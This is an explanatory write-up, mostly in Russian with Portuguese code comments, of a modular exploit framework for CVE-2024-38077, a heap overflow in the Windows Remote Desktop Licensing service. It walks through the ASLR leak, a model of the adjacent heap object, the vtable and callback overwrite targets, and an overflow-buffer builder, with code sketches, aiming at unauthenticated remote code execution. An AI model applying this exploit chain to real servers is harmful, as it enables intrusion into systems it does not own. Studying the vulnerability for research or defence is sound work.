Модульный фреймворк эксплойтов для CVE-2024-38077 (переполнение кучи Windows RDL) с обходом ASLR, подготовкой кучи, генерацией ROP-цепочки и полезными нагрузками для внедрения DLL с целью удалённого выполнения кода без аутентификации.
В этом документе объясняется каждый компонент фреймворка, зачем он существует и как работает эксплуатация heap buffer overflow в современных Windows.
Служба лицензирования удалённого рабочего стола Windows (lserver.exe) содержит heap buffer overflow в функции CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILIDADE: Cálculo incorreto de tamanho │
├─────────────────────────────────────────────────────────────┤
│ 1. Cliente envia dados Base64 de tamanho N │
│ 2. Servidor calcula: buffer_size = (N / 4) * 3 │
│ 3. Servidor aloca buffer de 'buffer_size' bytes │
│ 4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes │
│ 5. Se N não é múltiplo de 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Конкретный пример:
(4001 / 4) * 3 = 1000 * 3 = 3000 байт выделеноceil(4001 * 0.75) = 3001 байт записано┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py — фундаментНизкоуровневые утилиты для работы с памятью.
Для эксплойтов необходимо:
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Padrão Cíclico - Para identificar offset de crash
cyclic(100) # Gera sequência De Bruijn
cyclic_find(pattern, value) # Encontra offset do valor
# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10) # → 0x1010 (alinha para 16 bytes)
Реальная проблема: вы вызываете краш, и в RIP оказывается 0x61616171.
cyclic_find(pattern, 0x61616171) → точное смещение!leak.py — обход ASLRAddress Space Layout Randomization: при каждой загрузке/запуске адреса меняются.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Не зная, где находится память:
class LeakInfo:
"""Container para endereços vazados"""
heap_base: int # Base do heap
ntdll_base: int # Base do ntdll.dll
kernel32_base: int # Base do kernel32.dll
# ...
class LeakProvider:
"""Orquestrador de fontes de leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Tenta cada fonte até conseguir
| Источник | Как работает | Когда использовать |
|---|---|---|
ManualLeakSource | Пользователь указывает адреса | Лаборатория/отладка с доступом к цели |
ResponseLeakSource | Извлекает из RPC-ответов | Если служба утекает указатели |
TimingLeakSource | Временной side-channel | Теоретически, очень сложно |
В демонстрациях/лабораториях вы можете:
--ntdll-base 0x7ffa...Это имитирует наличие реального leak, позволяя протестировать остальную часть цепочки.
target_model.py — картирование целиМоделирование уязвимых и смежных структур данных.
Overflow ≠ эксплуатация. Нам нужно знать:
class VulnerableBuffer:
"""O buffer que vai sofrer overflow"""
allocation_size: int # Quanto foi alocado
write_size: int # Quanto será escrito
overflow_amount: int # Diferença = overflow
def calculate_overflow(input_size):
# Simula o bug de cálculo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Objeto que será corrompido (adjacente no heap)"""
fields: List[StructField]
has_vtable: bool # Tem tabela virtual?
has_function_ptr: bool # Tem ponteiro de função?
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campos mapeados
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Отмечает поля, полезные для эксплуатации:
vtable: если перезапишем, контролируем вызовы методовcallback: если перезапишем, контролируем момент вызова callbackwrite_primitive.py — контролируемая записьOverflow записывает последовательные данные. Но нам нужно:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Constrói buffer de overflow com valores precisos
Layout:
[PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Coloca valor exato no offset exato
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)